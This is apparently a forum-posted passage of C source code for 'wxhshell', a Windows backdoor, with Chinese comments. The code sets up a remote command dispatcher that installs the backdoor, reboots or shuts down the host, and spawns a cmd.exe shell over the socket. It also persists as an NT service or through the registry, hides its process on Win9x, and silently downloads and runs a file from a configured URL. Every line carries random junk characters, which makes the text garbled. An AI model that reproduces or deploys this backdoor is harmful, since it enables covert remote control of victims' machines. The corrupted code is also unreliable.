  }  MUd 9R  
  else { )$e_CJ}9e  
7cJh^M   
    switch(cmd[0]) { w(Hio-l=  
  LdM9k(  
  // 帮助 F[ 5\ x0  
  case '?': { gT~Yn~~b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;nB.f.e`  
    break; 1Qz1 Ehz>  
  } CERT`W%o  
  // 安装 ;v^1V+1:z  
  case 'i': { J  4OgV?  
    if(Install()) 3fWL}]{<a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h\i>4^]X.  
    else ^w|apI~HSE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c/G]r|k  
    break; Y^@Nvt$<K  
    } 1WW`%  
  // 卸载 Fxr$j\bm  
  case 'r': { D27MT/=7  
    if(Uninstall()) =Wj{J.7mf]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O}IRM|r"  
    else V,CVMbn/%N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lk~aM bw#  
    break; o7W1sD1O  
    } >AT T<U=  
  // 显示 wxhshell 所在路径 yl[6b1  
  case 'p': { sjj*7i*  
    char svExeFile[MAX_PATH]; e2PM^1{_  
    strcpy(svExeFile,"\n\r"); `vPc&.-K  
      strcat(svExeFile,ExeFile); w,QO!)j!  
        send(wsh,svExeFile,strlen(svExeFile),0); 0'9z XJ"  
    break; 5E!G  
    } oj1,DU  
  // 重启 P@z,[,sy"$  
  case 'b': { ]TmxCTVL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !:^lTvYWZH  
    if(Boot(REBOOT)) q|+`ihut  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T[YGQT|B  
    else { B:Xmc,|,  
    closesocket(wsh); 7#BU d/  
    ExitThread(0); ()>,L? y  
    } %!i|"FNc  
    break; 7pY7iR_  
    } fmhqm"  
  // 关机 x)<Hr,wd  
  case 'd': { `fRp9o/  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oG_-a(N  
    if(Boot(SHUTDOWN)) xiW;Y{kZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s;;"^5B.  
    else { T$ )dc^  
    closesocket(wsh); _v9P0W^.7  
    ExitThread(0); ZRd,V~iz  
    } V@"Y"}4n4  
    break; Z1gZn)7  
    } Z/S7ei@56  
  // 获取shell \%FEQa0u  
  case 's': { +w]KK6  
    CmdShell(wsh); 9 ZD4Gv   
    closesocket(wsh); J!GWP:b3  
    ExitThread(0); 1/H9(2{L  
    break; XPt<k&o1,  
  } Do&/+Ssnu  
  // 退出 PnKgUJoa0  
  case 'x': { &~xzp^&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Tl9;KE|  
    CloseIt(wsh); fv",4L  
    break; c= }#8d.  
    } 4/Yk;X[jk  
  // 离开 5fdB<& 9  
  case 'q': { XOe8(cXa9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C;6Nu W  
    closesocket(wsh); yLI)bn!"  
    WSACleanup(); I,@f*o  
    exit(1); :6*FnKD  
    break; *)jhhw=34  
        } M;{btu^a  
  } c9eLNVM  
  } kq SpZoV0'  
Nn_n@K  
  // 提示信息 4{s3S2f =  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D# "ppa}  
} Z7X_U` Q  
  } wewYlm5@  
.cV<(J 5o  
  return; gJ8+HV  
} fgW>U*.ar  
vThK@P!s  
// shell模块句柄 v{Rj,Ou  
int CmdShell(SOCKET sock) o"Dk`L2  
{ 2)A% 'Akf  
STARTUPINFO si; xSQ:#o=8G  
ZeroMemory(&si,sizeof(si)); i'$V'x'k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {v,O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ue5C ]  
PROCESS_INFORMATION ProcessInfo; ,p,$(V  
char cmdline[]="cmd"; J\BTrN7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _^2rRz  
  return 0; hw@ `Q@  
} e7(iMe  
OUd&fUmH  
// 自身启动模式 DO#!ce  
int StartFromService(void) f+/AD  
{ |Mj2lZS  
typedef struct R3;,EL{H&  
{ FG^ Jh5  
  DWORD ExitStatus; ld-Cb 3R^  
  DWORD PebBaseAddress; c?;YufH'j  
  DWORD AffinityMask; !5hNG('f  
  DWORD BasePriority; \Tc<27-  
  ULONG UniqueProcessId;   pE<@  
  ULONG InheritedFromUniqueProcessId; _7h:NLd  
}   PROCESS_BASIC_INFORMATION; g8JO/s5xV  
atW=xn  
PROCNTQSIP NtQueryInformationProcess; KkIxtFM  
(^:0g.~c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,[ UqUEO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; eCDwY:t`  
m M> L0  
  HANDLE             hProcess; 5@YrtZI  
  PROCESS_BASIC_INFORMATION pbi; h&t/ L  
o1m+4.-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5cv&`h8uo_  
  if(NULL == hInst ) return 0; g69^D  
]Kutuf$t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y;X_E7U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m5wfQ_}}ss  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o_.f7|U!  
Z#O )0ou  
  if (!NtQueryInformationProcess) return 0; ; S(KJV  
b"lzR[X,e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WRa4g  
  if(!hProcess) return 0; m44"qp  
H%LoI)w  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V__|NVoOm  
C#^V<:9  
  CloseHandle(hProcess); B1x# 7>K  
N-0kB vo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9vQI ~rz?  
if(hProcess==NULL) return 0; ZU=om Rh5  
xppl6v(  
HMODULE hMod; 9; \a|8O  
char procName[255]; @>r3=s.Q  
unsigned long cbNeeded; gQ < >S  
* LaL('.>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S,ENbP%0r  
|XDbf3^6  
  CloseHandle(hProcess); E%[2NsOM]  
X]Aobtz  
if(strstr(procName,"services")) return 1; // 以服务启动 N)kZ2|oD  
u<VR;p:y  
  return 0; // 注册表启动 k10g %K4g  
} 3 #8bG(  
f: j9ze  
// 主模块 G^G= .9O  
int StartWxhshell(LPSTR lpCmdLine) )p$a1\ ~m  
{ HX;JO[0  
  SOCKET wsl; \E(Negt7  
BOOL val=TRUE; ` XvuyH  
  int port=0; n=z=%T6  
  struct sockaddr_in door; $s2Y,0>I6  
UA BaS(f3  
  if(wscfg.ws_autoins) Install(); LpQ=Y]{j  
o*fNY  
port=atoi(lpCmdLine); n(}W[bZ4  
oMb&a0-7u  
if(port<=0) port=wscfg.ws_port; ^=CO gO]e  
BF="gZoU<  
  WSADATA data; -4%{Jb-1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g< F7UA  
b1*5#2rs.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C[-M ~yIL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Jq5](F!z  
  door.sin_family = AF_INET; K P1;u#v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?tA<:.<vtY  
  door.sin_port = htons(port); ;R_H8vp  
U_&v|2o#3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { > [%ITqA$  
closesocket(wsl); T{USzMj  
return 1; R_vF$X'Ow  
} \l_U+d,qq  
j(QK0"z  
  if(listen(wsl,2) == INVALID_SOCKET) { fn~Jc~[G|  
closesocket(wsl); z0jF.ub  
return 1; ;(F_2&he  
} nlq"OzcH04  
  Wxhshell(wsl); F> H5 ww9E  
  WSACleanup(); 9'My /A0  
Knjg`f  
return 0; u ? }T)B  
hhM?I$t:  
} /c&;WlE/n  
"PK`Ca@`v  
// 以NT服务方式启动 |z+K]R8_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sTb@nrRxH  
{ oEuV&m|yX  
DWORD   status = 0; :L6,=#  
  DWORD   specificError = 0xfffffff; ru#CywK{{;  
7 {n>0@_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X!AD]sK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; GyVRe]<>B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Edp%z"J;C  
  serviceStatus.dwWin32ExitCode     = 0; ,&q Q[i  
  serviceStatus.dwServiceSpecificExitCode = 0; "!AbH<M;@  
  serviceStatus.dwCheckPoint       = 0; <hv {,1p-r  
  serviceStatus.dwWaitHint       = 0; q83!PI  
!&f>,?wlP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (2l?~CaK  
  if (hServiceStatusHandle==0) return; @hG]Gs[,o  
;bMmJ>[l-  
status = GetLastError(); `{B<|W$=  
  if (status!=NO_ERROR) W]-c`32~S  
{ vJ a?5Jr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *#| lhf'  
    serviceStatus.dwCheckPoint       = 0; [b?[LK}.  
    serviceStatus.dwWaitHint       = 0; ?r%kif)  
    serviceStatus.dwWin32ExitCode     = status; :~ ; 48m  
    serviceStatus.dwServiceSpecificExitCode = specificError; B.oD9 <9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y.6Yl**l  
    return; rHMr8,J;  
  } c+bOp 05o-  
(nUSgZz5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S#|dmg;p  
  serviceStatus.dwCheckPoint       = 0; )Bb:?!EuEH  
  serviceStatus.dwWaitHint       = 0; /hC'-6:]^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7_^JgA|Kk7  
} "Xz[|Xl  
b-"kclK  
// 处理NT服务事件,比如:启动、停止 mR1|8H!f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =9;2(<A  
{ Yo^9Y@WDW  
switch(fdwControl) fhp+Ep!0Y  
{ LPRvzlY=  
case SERVICE_CONTROL_STOP: R/|2s  
  serviceStatus.dwWin32ExitCode = 0; +p\+ 15  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #$?!P1  
  serviceStatus.dwCheckPoint   = 0; @krh<T6|  
  serviceStatus.dwWaitHint     = 0; U'Mxf'q  
  { nu<kx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H2iC? cSR  
  } 7K`Z<v&*  
  return; _enS_R  
case SERVICE_CONTROL_PAUSE: $;Nw_S@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9u^yEqG`  
  break; !=B=1th4  
case SERVICE_CONTROL_CONTINUE: S4!}7NOh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tT`{xM  
  break;  ()`cW>[  
case SERVICE_CONTROL_INTERROGATE: 7+c}D>/`:  
  break; *vS)aRK  
}; Tsc2;I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5@/hqOiu  
} 2$=I+8IL  
zAA3bgaa  
// 标准应用程序主函数 i[r>^U8O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BHrNDpv  
{ '1NZSiv+C?  
~]S%b3>  
// 获取操作系统版本 rIRkXO)  
OsIsNt=GetOsVer(); '6zk> rN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^a #  
C%T$l8$  
  // 从命令行安装 \*i[m&3;q  
  if(strpbrk(lpCmdLine,"iI")) Install(); ZhnRsn9  
FrL ;1zt  
  // 下载执行文件 F*{1, gb  
if(wscfg.ws_downexe) { mO0a: i!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) I;rh(FMV  
  WinExec(wscfg.ws_filenam,SW_HIDE); N&YQZ^o  
} 71wtO  
Zf *DC~E_  
if(!OsIsNt) { u7G9 eN  
// 如果时win9x,隐藏进程并且设置为注册表启动 f)9{D[InM^  
HideProc(); d:GAa   
StartWxhshell(lpCmdLine); m1{OaHxKh  
} y-R:-K XH=  
else JXKo zy41  
  if(StartFromService()) !`qw" i  
  // 以服务方式启动 K!A;C#b!  
  StartServiceCtrlDispatcher(DispatchTable); (+w.?l  
else M?I^Od'8  
  // 普通方式启动 96 P3B}Dk  
  StartWxhshell(lpCmdLine); ;: 4PT~\*  
Z0!yTM/C  
return 0; $geDB~ 2>  
}
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只看该作者 1 发表于: 2006-10-10
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